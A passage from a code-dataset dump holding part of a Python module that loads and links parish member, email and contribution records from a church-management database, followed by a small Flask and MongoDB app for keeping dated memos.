m[pkey] = list()\n m[npkey] = list()\n\n for e in emails.values():\n if e['FamEmail']:\n continue\n\n mid = e['MemRecNum']\n if mid not in members:\n continue\n\n m = members[mid]\n if e['EMailOverMail']:\n key = pkey\n else:\n key = npkey\n\n addr = '{name} <{addr}>'.format(name=m['email_name'],\n addr=e['EMailAddress'].strip())\n e['full_address'] = addr\n m[key].append(e)\n\n#-----------------------------------------------------------------------------\n\ndef _link_member_phones(members, phones, phone_types):\n link_family_or_member_phones(members, phones, phone_types)\n\n#-----------------------------------------------------------------------------\n\ndef _link_member_keywords(members, keywords, mem_keywords):\n for mk in mem_keywords.values():\n mid = mk['MemRecNum']\n if mid not in members:\n continue\n\n m = members[mid]\n if 'keywords' not in m:\n m['keywords'] = list()\n keyword = keywords[mk['DescRec']]['Description']\n m['keywords'].append(keyword)\n\n#-----------------------------------------------------------------------------\n\ndef _link_member_birth_places(members, birth_places):\n for b in birth_places.values():\n mid = b['AskMemNum']\n if mid not in members:\n continue\n\n m = members[mid]\n m['birth_place'] = b['BirthPlace']\n\n#-----------------------------------------------------------------------------\n\ndef _link_member_ministries(members, ministries, mem_ministries, statuses):\n _link_member_mintal(members, 'ministries', ministries, 'MinDescRec',\n mem_ministries, statuses)\n\ndef _link_member_talents(members, talents, mem_talents, statuses):\n _link_member_mintal(members, 'talents', talents, 'TalDescRec',\n mem_talents, statuses)\n\ndef _link_member_mintal(members, desc, things, thing_index_field,\n mem_things, statuses):\n akey = f'active_{desc}'\n ikey = f'inactive_{desc}'\n\n for member in members.values():\n member[akey] = list()\n member[ikey] = list()\n\n for mt in mem_things.values():\n mid = mt['MemRecNum']\n if mid not in members:\n continue\n m = members[mid]\n\n status_id = mt['StatusDescRec']\n if not status_id:\n continue\n if status_id not in statuses:\n continue\n status = statuses[status_id]\n mem_list_name = akey\n if status['Active'] != 1:\n mem_list_name = ikey\n\n thing_id = mt[thing_index_field]\n\n # Deep copy the ministry record so that we can add some more\n # data in it about this specific member\n thing = things[thing_id].copy()\n thing['active'] = status['Active']\n thing['status'] = status['Description']\n thing['start'] = _normalize_date(mt['StartDate'])\n thing['end'] = _normalize_date(mt['EndDate'])\n\n m[mem_list_name].append(thing)\n\n#-----------------------------------------------------------------------------\n\ndef _link_member_marriage_dates(members, mem_dates, mdtid):\n for md in mem_dates.values():\n if md['DescRec'] != mdtid:\n continue\n\n mid = md['MemRecNum']\n if mid and mid not in members:\n continue\n m = members[mid]\n m['marriage_date'] = _normalize_date(md['Date'])\n\n#-----------------------------------------------------------------------------\n\ntraining_req_results = {\n 0 : \"Pending\",\n 1 : \"Yes\",\n 2 : \"No\",\n 3 : \"Positive\",\n 4 : \"Negative\",\n 5 : \"Received\",\n 6 : \"Incomplete\",\n 7 : \"Cleared\",\n 8 : \"Cleared / Restrictions\",\n 9 : \"Not Cleared\",\n 10 : \"Illegible\",\n 11 : \"Submitted\",\n 12 : \"Inactive\",\n 13 : \"Expired\",\n 14 : \"Archived\",\n}\n\ndef _link_member_requirements(members, mem_reqs, req_types):\n for mr in mem_reqs.values():\n mid = mr['MemRecNum']\n if mid not in members:\n continue\n\n id = mr['ReqResult']\n if id in training_req_results:\n result = training_req_results[id]\n else:\n result = f'Unknown result {id}'\n\n m = members[mid]\n key = 'requirements'\n if key not in m:\n m[key] = list()\n\n m[key].append({\n 'description' : req_types[mr['ReqDescRec']]['Description'],\n 'start_date' : _normalize_date(mr['ReqDate']),\n 'end_date' : _normalize_date(mr['ExpirationDate']),\n 'result' : result,\n 'note' : mr['ReqNote'],\n })\n\n#-----------------------------------------------------------------------------\n\ndef _link_member_id(members, member_source_field, member_dest_field,\n values, value_source_field='Description'):\n for member in members.values():\n id = member[member_source_field]\n if id and id in values:\n value = values[id]\n member[member_dest_field] = value[value_source_field]\n\n#-----------------------------------------------------------------------------\n\n# Transform the list of all family fund history (i.e., individual\n# contributions) to be:\n#\n# families['funding'][fid][year][fund_id], a dictionary containing:\n#\n# * 'fund': PDS DB entry from FundSetup_DB\n# * 'history': array of entries, one per contribution of the family that year\n# on that fund, each entry containing a dictionary of:\n# * 'activity': name of fund from FuncAct (don't both copying over\n# other data -- the fund name is really the only important thing)\n# * 'fund_id': same as fund_id index in \"funding\"\n# * 'year': same as year index in \"fundung\"\n# * 'item': detailed dictionary of information about the contribution.\n# 'FEAmt', 'FEComment', 'FEDate' are probably the only relevant fields\n# from this dictionary.\ndef _link_family_funds(funds, fund_periods, fund_activities,\n families, all_family_funds, all_family_fund_rates,\n all_family_fund_history, log):\n # Make a cross reference dictionary of funds by fund ID+year. It will be\n # used below.\n fund_xref = dict()\n for period in fund_periods.values():\n fund_id = period['FundNumber']\n fund_year = period['FundYear']\n fund = funds[period['SetupRecNum']]\n\n if fund_year not in fund_xref:\n fund_xref[fund_year] = dict()\n if fund_id not in fund_xref[fund_year]:\n fund_xref[fund_year][fund_id] = dict()\n\n fund_xref[fund_year][fund_id] = fund\n\n # Similarly, make a family fund rate cross reference dictionary indexed by\n # family fund IDs, to be used for direct lookups, below.\n family_fund_rate_xref = dict()\n for family_fund_rate in all_family_fund_rates.values():\n family_fund_id = family_fund_rate['FundRecNum']\n family_fund_rate_xref[family_fund_id] = family_fund_rate\n\n # Do the main work of this method in a standalone dictionary for simplicity.\n # We'll link it into the main \"families\" dictionary at the end.\n funding = dict()\n for item in all_family_fund_history.values():\n # Make sure this family is in the families dictionary (e.g., if we only\n # have the active families, make sure this is an active family)\n fid = item['FEFamRec']\n if fid not in families:\n continue\n\n # Transform the item date string into a datetime.date\n item['FEDate'] = _normalize_date(item['FEDate'])\n\n family_fund = all_family_funds[item['FEFundRec']]\n fund_id = family_fund['FDFund']\n year = family_fund['FDYear']\n fund = fund_xref[year][fund_id]\n\n # Sometimes activity_id will be None. Thanks PDS!\n activity_id = item['ActRecNum']\n if activity_id and activity_id in fund_activities:\n activity = fund_activities[activity_id]['Activity']\n else:\n activity = 'None'\n\n # If the family pledged, they'll have a fund_rate. If not, they won't.\n family_fund_id = family_fund['FDRecNum']\n if family_fund_id in family_fund_rate_xref:\n fund_rate = family_fund_rate_xref[family_fund_id]\n else:\n fund_rate = None\n\n # Create the multi-levels in the output\n if fid not in funding:\n funding[fid] = dict()\n if year not in funding[fid]:\n funding[fid][year] = dict()\n if fund_id not in funding[fid][year]:\n funding[fid][year][fund_id] = {\n \"fund\" : fund,\n \"fund_rate\" : fund_rate,\n \"history\" : list(),\n }\n\n funding[fid][year][fund_id]['history'].append({\n \"fund_id\" : fund_id,\n \"year\" : year,\n \"activity\" : activity,\n \"item\" : item,\n })\n\n # Now assign the results back to families[fid]['funding']\n for fid in funding:\n # Make sure this family is in the families dictionary (e.g., if we only\n # have the active families, make sure this is an active family). This is\n # technicaly redundant with above, but hey -- defensive programming,\n # right?\n if fid not in families:\n continue\n\n families[fid]['funds'] = funding[fid]\n\n#-----------------------------------------------------------------------------\n\ndef _find_member_marriage_date_type(date_types):\n for dtid, dt in date_types.items():\n if dt['Description'] == 'Marriage':\n return dtid\n\n return None\n\n#-----------------------------------------------------------------------------\n\n# A full Family name will be formatted:\n#\n# Last,First(spouse last,spouse first,spouse title,spouse suffix),Title,Suffix\n#\n# (spouse) information may not be there\n# (spouse last) will not be there if the info is the same\n#\n# If Middle, Nickname, or Maiden are not provided, those terms\n# (including \"{}\", \"()\", and \"[]\") are not included. E.g., if only\n# the nickname is provided:\n#\n# Squyres,Jeffrey(Jeff)\n#\n# If Prefix and Suffix are not provided, those terms are not there,\n# either (including the commas). If only Suffix is supplied, then the\n# comma will be there for the Prefix, but it will be empty. Example:\n#\n# Squyres,Jeffrey{Michael}(Jeff),,Esq.\n#\n# There are no cases in Epiphany's database where someone does not\n# have both a first and a last name. So I didn't even bother trying\n# to figure out how that would be stored.\n\ndef _parse_family_name(name, log=None):\n parts = name.split(',')\n last = parts[0]\n\n prefix = None\n if len(parts) > 2:\n prefix = parts[2]\n if prefix == '':\n prefix = None\n\n suffix = None\n if len(parts) > 3:\n suffix = parts[3]\n\n # The \"more\" field may have the middle, nickname, and maiden name.\n # Parse those out.\n first = None\n middle = None\n nickname = None\n maiden = None\n if len(parts) > 1:\n more = parts[1]\n result = re.match('([^\\(\\{\\[]+)', more)\n if result:\n first = result[1]\n else:\n first = 'Unknown'\n\n result = re.search('\\{(.+)\\}', more)\n if result:\n middle = result[1]\n\n result = re.search('\\((.+)\\)', more)\n if result:\n nickname = result[1]\n\n result = re.search('\\[(.+)\\]', more)\n if result:\n maiden = result[1]\n\n if log:\n log.debug(\"Last: {l}, First: {f}, Middle: {m}, Nickname: {n}, Maiden: {maiden}, Prefix: {pre}, Suffix: {suff}\"\n .format(l=last,f=first,m=middle,n=nickname,maiden=maiden,pre=prefix,suff=suffix))\n\n return last, first, middle, nickname, maiden, prefix, suffix\n\n#-----------------------------------------------------------------------------\n\n# A full Member name will be formatted:\n#\n# Last,First{Middle}(Nickname}[Maiden],Prefix,Suffix\n#\n# If Middle, Nickname, or Maiden are not provided, those terms\n# (including \"{}\", \"()\", and \"[]\") are not included. E.g., if only\n# the nickname is provided:\n#\n# Squyres,Jeffrey(Jeff)\n#\n# If Prefix and Suffix are not provided, those terms are not there,\n# either (including the commas). If only Suffix is supplied, then the\n# comma will be there for the Prefix, but it will be empty. Example:\n#\n# Squyres,Jeffrey{Michael}(Jeff),,Esq.\n#\n# There are no cases in Epiphany's database where someone does not\n# have both a first and a last name. So I didn't even bother trying\n# to figure out how that would be stored.\n\ndef _parse_member_name(name, log=None):\n parts = name.split(',')\n last = parts[0]\n\n prefix = None\n if len(parts) > 2:\n prefix = parts[2]\n if prefix == '':\n prefix = None\n\n suffix = None\n if len(parts) > 3:\n suffix = parts[3]\n\n # The \"more\" field may have the middle, nickname, and maiden name.\n # Parse those out.\n first = None\n middle = None\n nickname = None\n maiden = None\n if len(parts) > 1:\n more = parts[1]\n result = re.match('([^\\(\\{\\[]+)', more)\n if result:\n first = result.group(1)\n else:\n first = 'Unknown'\n\n result = re.search('\\{(.+)\\}', more)\n if result:\n middle = result.group(1)\n\n result = re.search('\\((.+)\\)', more)\n if result:\n nickname = result.group(1)\n\n result = re.search('\\[(.+)\\]', more)\n if result:\n maiden = result.group(1)\n\n\n if log:\n log.debug(\"Last: {l}, First: {f}, Middle: {m}, Nickname: {n}, Maiden: {maiden}, Prefix: {pre}, Suffix: {suff}\"\n .format(l=last,f=first,m=middle,n=nickname,maiden=maiden,pre=prefix,suff=suffix))\n\n return last, first, middle, nickname, maiden, prefix, suffix\n\ndef _parse_member_names(members):\n for _, m in members.items():\n name = m['Name']\n (last, first, middle, nickname, maiden,\n prefix, suffix) = _parse_member_name(name)\n\n m['first'] = first\n m['middle'] = middle\n m['last'] = last\n m['nickname'] = nickname\n m['maiden'] = maiden\n m['prefix'] = prefix\n m['suffix'] = suffix\n\n field = 'full_name'\n m[field] = ''\n if prefix:\n m[field] += prefix + ' '\n if first:\n m[field] += first + ' '\n if nickname:\n m[field] += '(\"' + nickname + '\") '\n if middle:\n m[field] += middle + ' '\n if last:\n m[field] += last\n if maiden:\n m[field] += ' (maiden: ' + maiden + ')'\n if suffix:\n m[field] += ', ' + suffix\n\n if nickname:\n m['email_name'] = '{nick} {last}'.format(nick=nickname, last=last)\n else:\n m['email_name'] = '{first} {last}'.format(first=first, last=last)\n\n#-----------------------------------------------------------------------------\n\ndef _make_emails_lower_case(emails):\n key = 'EMailAddress'\n for e in emails.values():\n addr = e[key].lower().strip()\n e[key] = addr\n\n#-----------------------------------------------------------------------------\n\n# Load PDS Families and Members. Return them as 2 giant hashes,\n# appropriately cross-linked to each other.\ndef load_families_and_members(filename=None, pds=None,\n active_only=True, parishioners_only=True,\n log=None):\n\n if pds and filename:\n raise Exception(\"Cannot supply both filename *and* PDS SQLite3 cursor -- only supply one or the other\")\n\n if filename:\n pds = PDS.connect(filename)\n\n city_states = PDS.read_table(pds, 'City_DB', 'CityRec',\n columns=['CityState'], log=log)\n statuses = PDS.read_table(pds, 'StatusType_DB', 'StatusDescRec',\n columns=['Description', 'Active'], log=log)\n ministries = PDS.read_table(pds, 'MinType_DB', 'MinDescRec',\n columns=['Description'], log=log)\n talents = PDS.read_table(pds, 'TalType_DB', 'TalDescRec',\n columns=['Description'], log=log)\n birth_places= PDS.read_table(pds, 'Ask_DB', 'AskRecNum',\n columns=['AskMemNum', 'BirthPlace'], log=log)\n date_places = PDS.read_table(pds, 'DatePlace_DB', 'DatePlaceRecNum',\n log=log)\n date_types = PDS.read_table(pds, 'DateType_DB', 'DescRec',\n columns=['Description'], log=log)\n phone_types = PDS.read_table(pds, 'PhoneTyp_DB', 'PhoneTypeRec',\n columns=['Description'], log=log)\n req_types = PDS.read_table(pds, 'ReqType_DB', 'ReqDescRec',\n columns=['Description', 'Expires'], log=log)\n emails = PDS.read_table(pds, 'MemEMail_DB', 'EMailRec',\n columns=['MemRecNum', 'EMailAddress',\n 'EMailOverMail', 'FamEmail'],\n log=log)\n languages = PDS.read_table(pds, 'LangType_DB', 'LanguageRec',\n columns=['Description'],\n log=log)\n mem_phones = PDS.read_table(pds, 'MemPhone_DB', 'PhoneRec',\n columns=['Rec', 'Number', 'PhoneTypeRec', 'Unlisted'],\n log=log)\n mem_keyword_types = PDS.read_table(pds, 'MemKWType_DB', 'DescRec',\n columns=['Description'], log=log)\n mem_keywords= PDS.read_table(pds, 'MemKW_DB', 'MemKWRecNum',\n columns=['MemRecNum', 'DescRec'],\n log=log)\n mem_ministries=PDS.read_table(pds, 'MemMin_DB', 'MemKWRecNum',\n columns=['MinDescRec', 'MemRecNum',\n 'StatusDescRec', 'StartDate', 'EndDate'],\n log=log)\n mem_talents =PDS.read_table(pds, 'MemTal_DB', 'MemKWRecNum',\n columns=['TalDescRec', 'MemRecNum',\n 'StatusDescRec', 'StartDate', 'EndDate'],\n log=log)\n mem_dates = PDS.read_table(pds, 'MemDates_DB', 'MemDateRecNum',\n columns=['MemRecNum', 'Date',\n 'DescRec'],\n log=log)\n mem_ethnics = PDS.read_table(pds, 'EthType_DB', 'EthnicDescRec',\n columns=['Description'], log=log)\n mem_3kw = PDS.read_table(pds, 'User3KW_DB', 'User3DescRec',\n columns=['Description'], log=log)\n mem_4kw = PDS.read_table(pds, 'User4KW_DB', 'User4DescRec',\n columns=['Description'], log=log)\n mem_reqs = PDS.read_table(pds, 'MemReq_DB', 'MemReqRecNum',\n columns=['MemRecNum', 'ReqDescRec',\n 'ReqDate', 'ReqResult',\n 'ReqNote', 'ExpirationDate'])\n\n relationship_types = PDS.read_table(pds, 'RelType_DB', 'RelDescRec',\n columns=['Description'], log=log)\n marital_statuses = PDS.read_table(pds, 'MemStatType_DB', 'MaritalStatusRec',\n columns=['Description'], log=log)\n\n fam_keyword_types = PDS.read_table(pds, 'FamKWType_DB', 'DescRec',\n columns=['Description'], log=log)\n fam_keywords= PDS.read_table(pds, 'FamKW_DB', 'FamKWRecNum',\n columns=['FamRecNum', 'DescRec'],\n log=log)\n fam_status_types = PDS.read_table(pds, 'FamStatType_DB', 'StatDescRec',\n columns=['Description'], log=log)\n fam_phones = PDS.read_table(pds, 'FamPhone_DB', 'PhoneRec',\n columns=['Rec', 'Number', 'PhoneTypeRec', 'Unlisted'],\n log=log)\n\n # Descriptions of each fund\n funds = PDS.read_table(pds, 'FundSetup_DB', 'SetupRecNum',\n columns=['FundNumber',\n 'FundKey',\n 'FundName'], log=log)\n # Each fund also has one or more time periods associated with it\n fund_periods = PDS.read_table(pds, 'FundPeriod_DB', 'FundPeriodRecNum',\n columns=['SetupRecNum', 'FundNumber',\n 'FundYear', 'FundStart', 'FundEnd'],\n log=log)\n # When a Family contributes, each contribution is assocaited with\n # a \"funding activity\"\n fund_activities = PDS.read_table(pds, 'FundAct_DB', 'ActRecNum',\n columns=['FundRecNum',\n 'GroupName',\n 'Activity',\n 'Function',\n 'GroupOrder',\n 'pdsorder'], log=log)\n\n # Families' activities with relation to the established funds (there is one\n # entry for each family for each fund to which that family has contributed).\n fam_funds = PDS.read_table(pds, 'FamFund_DB', 'FDRecNum',\n columns=['FDFamRec', 'FDYear', 'FDFund',\n 'FDOrder', 'MemRecNum', 'Comment'],\n log=log)\n # Pledging information from the family\n fam_fund_rates = PDS.read_table(pds, 'FamFundRate_DB', 'RateRecNum',\n columns=['FundRecNum', 'FDStartDate', 'FDEndDate',\n 'FDRate', 'FDRateAdj', 'FDNumber',\n 'FDPeriod', 'FDTotal',\n 'Batch', 'BatchDate'])\n # A listing of each individual contribution from each family,\n # cross-referenced to fam_funds.\n fam_fund_history = PDS.read_table(pds, 'FamFundHist_DB', 'FERecNum',\n columns=['FEDate', 'ActRecNum', 'FEFundRec',\n 'FEFamRec', 'FEAmt', 'FEBatch',\n 'MemRecNum', 'FEChk', 'FEComment'],\n log=log)\n\n member_types = _find_member_types()\n mdtid = _find_member_marriage_date_type(date_types)\n\n _make_emails_lower_case(emails)\n\n families = _load_families(pds=pds,\n active_only=active_only,\n log=log)\n members = _load_members(pds=pds,\n active_only=active_only,\n log=log)\n\n _link_families_members(families, members)\n\n if parishioners_only:\n _delete_non_parishioners(families, members)\n\n _link_family_emails(families, emails)\n _link_family_city_states(families, city_states)\n _link_family_statuses(families, fam_status_types)\n _link_family_phones(families, fam_phones, phone_types)\n _link_family_keywords(families, fam_keyword_types, fam_keywords)\n\n _parse_member_names(members)\n _link_member_types(members, member_types)\n _link_member_emails(members, emails)\n _link_member_phones(members, mem_phones, phone_types)\n _link_member_keywords(members, mem_keyword_types, mem_keywords)\n _link_member_birth_places(members, birth_places)\n _link_member_ministries(members, ministries, mem_ministries, statuses)\n _link_member_talents(members, talents, mem_talents, statuses)\n _link_member_marriage_dates(members, mem_dates, mdtid)\n _link_member_requirements(members, mem_reqs, req_types)\n\n _link_member_id(members, 'MaritalStatusRec', 'marital_status', marital_statuses)\n _link_member_id(members, 'LanguageRec', 'language', languages)\n _link_member_id(members, 'EthnicDescRec', 'ethnic', mem_ethnics)\n _link_member_id(members, 'User3DescRec', 'skills', mem_3kw)\n _link_member_id(members, 'User4DescRec', 'occupation', mem_4kw)\n\n _link_family_funds(funds, fund_periods, fund_activities,\n families, fam_funds, fam_fund_rates, fam_fund_history,\n log)\n\n # Compute family HoH+Spouse salutations\n _compute_family_hoh_and_spouse_salutations(families, log)\n\n return pds, families, members\n\n##############################################################################\n\ndef _get_sorted_addrs(entries):\n addrs = list()\n for entry in entries:\n addrs.append(entry['EMailAddress'].strip())\n\n return sorted(addrs)\n\n# If a Member or Family has one or more preferred email addresses,\n# return them (as an array). If there are no preferred email\n# addresses, return None.\ndef find_preferred_email(member_or_family):\n mof = member_or_family\n if pkey in mof and len(mof[pkey]) > 0:\n return _get_sorted_addrs(mof[pkey])\n else:\n return [ ]\n\n# Return either the Member/Family preferred email addresses, or, if\n# there are no preferred addresses, return the first (by sorted order)\n# non-preferred email address (if it exists). If no email addresses\n# exist, return an empty list.\ndef find_any_email(member_or_family):\n mof = member_or_family\n addrs = find_preferred_email(mof)\n if addrs:\n return addrs\n elif npkey in mof and len(mof[npkey]) > 0:\n addr = _get_sorted_addrs(mof[npkey])[0]\n return [ addr ]\n else:\n return [ ]\n", "sub_path": "python/PDSChurch.py", "file_name": "PDSChurch.py", "file_ext": "py", "file_size_in_byte": 37924, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "datetime.date.fromisoformat", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pathlib.PureWindowsPath", "line_number": 83, "usage_type": "call"}, {"api_name": "datetime.date.fromisoformat", "line_number": 94, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 94, "usage_type": "attribute"}, {"api_name": "PDS.read_table", "line_number": 187, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 234, "usage_type": "call"}, {"api_name": "re.match", "line_number": 717, "usage_type": "call"}, {"api_name": "re.search", "line_number": 723, "usage_type": "call"}, {"api_name": "re.search", "line_number": 727, "usage_type": "call"}, {"api_name": "re.search", "line_number": 731, "usage_type": "call"}, {"api_name": "re.match", "line_number": 785, "usage_type": "call"}, {"api_name": "re.search", "line_number": 791, "usage_type": "call"}, {"api_name": "re.search", "line_number": 795, "usage_type": "call"}, {"api_name": "re.search", "line_number": 799, "usage_type": "call"}, {"api_name": "PDS.connect", "line_number": 866, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 868, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 870, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 872, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 874, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 876, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 878, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 880, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 882, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 884, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 886, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 890, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 893, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 896, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 898, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 901, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 905, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 909, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 913, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 915, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 917, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 919, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 924, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 926, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 929, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 931, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 934, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 936, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 941, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 946, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 952, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 962, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 967, "usage_type": "call"}, {"api_name": "PDS.read_table", "line_number": 974, "usage_type": "call"}]} {"seq_id": "88713633", "text": "\"\"\"\nFlask web app connects to Mongo database.\nKeep a simple list of dated memoranda.\n\nRepresentation conventions for dates: \n - In the session object, date or datetimes are represented as\n ISO format strings in UTC. Unless otherwise specified, this\n is the format passed around internally. Note that ordering\n of ISO format strings is consistent with date/time order\n - User input/output is in local (to the server) time\n - Database representation is as MongoDB 'Date' objects\n Note that this means the database may store a date before or after\n the date specified and viewed by the user, because 'today' in\n Greenwich may not be 'today' here. \n\"\"\"\n\nimport flask\nfrom flask import render_template\nfrom flask import request\nfrom flask import url_for\nfrom flask import redirect\n\nimport json\nimport logging\n\n# Date handling \nimport arrow # Replacement for datetime, based on moment.js\nimport datetime # But we may still need time\nfrom dateutil import tz # For interpreting local times\n\n# Mongo database\nfrom pymongo import MongoClient\nfrom bson.objectid import ObjectId\n\n###\n# Globals\n###\nimport CONFIG\n\napp = flask.Flask(__name__)\n\ntry: \n dbclient = MongoClient(CONFIG.MONGO_URL)\n db = dbclient.memos\n collection = db.dated\n\nexcept:\n print(\"Failure opening database. Is Mongo running? Correct password?\")\n sys.exit(1)\n\nimport uuid\napp.secret_key = str(uuid.uuid4())\n\n###\n# Pages\n###\n\n@app.route(\"/\")\n@app.route(\"/index\")\ndef index():\n app.logger.debug(\"Main page entry\")\n flask.session['memos'] = get_memos()\n for memo in flask.session['memos']:\n break\n app.logger.debug(\"Got Memo: \" + str(memo))\n return flask.render_template('index.html')\n\n\n# We don't have an interface for creating memos yet\n@app.route(\"/create\")\ndef create():\n\tapp.logger.debug(\"Create\")\n\treturn flask.render_template('create.html')\n\n@app.errorhandler(404)\ndef page_not_found(error):\n app.logger.debug(\"Page not found\")\n return flask.render_template('page_not_found.html',\n badurl=request.base_url,\n linkback=url_for(\"index\")), 404\n\n#################\n#\n# Url scripts\n#\n#################\n\n@app.route(\"/_create\")\ndef func_create():\n\tapp.logger.debug(\"Creating new memo\")\n\tt_date = request.args.get('Date')\n\tt_memo = request.args.get('Memo')\n\tt_offset = request.args.get('offset', type=int)\n\tapp.logger.debug(\"New memo: \"+t_date+\",\"+str(t_offset)+\":\"+t_memo)\n\tt_date = arrow.get(t_date, \"MM/DD/YYYY hh:mm A\")\n\tt_tz = timezoned(t_offset)\n\tapp.logger.debug(t_tz)\n\tt_date = t_date.replace(tzinfo=t_tz)\n\tput_memo(t_date, t_memo)\n\treturn redirect(url_for('index'))\n\n@app.route(\"/_delete\")\ndef func_delete():\n\tapp.logger.debug(\"Deleting a memo\")\n\tt_id = request.args.get('id')\n\tapp.logger.debug(\"Deleting: \"+t_id)\n\tremove_memo(t_id)\n\treturn redirect(url_for('index'))\n\n#################\n#\n# Functions used within the templates\n#\n#################\n\n@app.template_filter( 'fmtdate' )\ndef format_arrow_date( date ):\n\ttry:\n\t\tnormal = arrow.get( date )\n\t\treturn normal.to('local').format(\"ddd MM/DD/YYYY hh:mm A\")\n\texcept:\n\t\treturn \"(bad date)\"\n\n@app.template_filter( 'humanize' )\ndef humanize_arrow_date( date ):\n \"\"\"\n Date is internal UTC ISO format string.\n Output should be \"today\", \"yesterday\", \"in 5 days\", etc.\n Arrow will try to humanize down to the minute, so we\n need to catch 'today' as a special case. \n \"\"\"\n try:\n then = arrow.get(date).to('local')\n now = arrow.utcnow().to('local')\n if then.date() == now.date():\n human = \"Today\"\n else: \n human = then.humanize(now)\n if human == \"in a day\":\n human = \"Tomorrow\"\n except: \n human = format_arrow_date(date)\n return human.capitalize()\n\n\n#############\n#\n# Functions available to the page code above\n#\n##############\ndef get_memos():\n \"\"\"\n Returns all memos in the database, in a form that\n can be inserted directly in the 'session' object.\n \"\"\"\n records = [ ]\n for record in collection.find( { \"type\": \"dated_memo\" } ):\n record['date'] = arrow.get(record['date']).isoformat()\n record['time'] = arrow.get(record['date']).timestamp\n record['_id'] = str(record['_id'])\n record['text'] = str(record['text'].encode('ascii','xmlcharrefreplace'), \"utf-8\")\n records.append(record)\n records.sort(key=lambda x: x['time'])\n return records \n\n\ndef put_memo(dt, mem):\n\t\"\"\"\n\tPlace memo into database\n\tArgs:\n\t\tdt: Datetime (arrow) object\n\t\tmem: Text of memo\n\t\"\"\"\n\trecord = {\n\t\t\"type\": \"dated_memo\", \n\t\t\"date\": dt.to('utc').naive,\n\t\t\"text\": mem\n\t}\n\tcollection.insert(record)\n\treturn \n\ndef remove_memo(mid):\n\t\"\"\"\n\tRemove memo from database\n\tArgs:\n\t\tmid: Memo _id attribute (string)\n\t\"\"\"\n\trecord = {\n\t\t\"_id\": ObjectId(mid)\n\t}\n\tcollection.remove(record)\n\treturn \n\ndef twoChars(num):\n\tif num < 10:\n\t\treturn \"0\"+str(num)\n\treturn str(num)\n\ndef timezoned(minutes):\n\tt_str = \"\"\n\tif minutes >= 0:\n\t\tt_str += \"+\"\n\telse:\n\t\tt_str += \"-\"\n\t\tminutes = abs(minutes)\n\tt_hours = minutes // 60\n\tt_str += twoChars(t_hours) + \":\"\n\tminutes -= t_hours * 60\n\tt_str += twoChars(minutes)\n\treturn t_str\n\nif __name__ == \"__main__\":\n # App is created above so that it will\n # exist whether this is 'main' or not\n # (e.g., if we are running in a CGI script)\n app.debug=CONFIG.DEBUG\n app.logger.setLevel(logging.DEBUG)\n # We run on localhost only if debugging,\n # otherwise accessible to world\n if CONFIG.DEBUG:\n # Reachable only from the same computer\n app.run(port=CONFIG.PORT)\n else:\n # Reachable from anywhere \n app.run(port=CONFIG.PORT,host=\"0.0.0.0\")\n\n \n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 5673, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Flask", "line_number": 40, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 43, "usage_type": "call"}, {"api_name": "CONFIG.MONGO_URL", "line_number": 43, "usage_type": "attribute"}, {"api_name": "uuid.uuid4", "line_number": 52, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 62, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 63, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 66, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.request.base_url", "line_number": 79, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 79, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 91, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 91, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 91, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 92, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 92, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 92, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 93, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 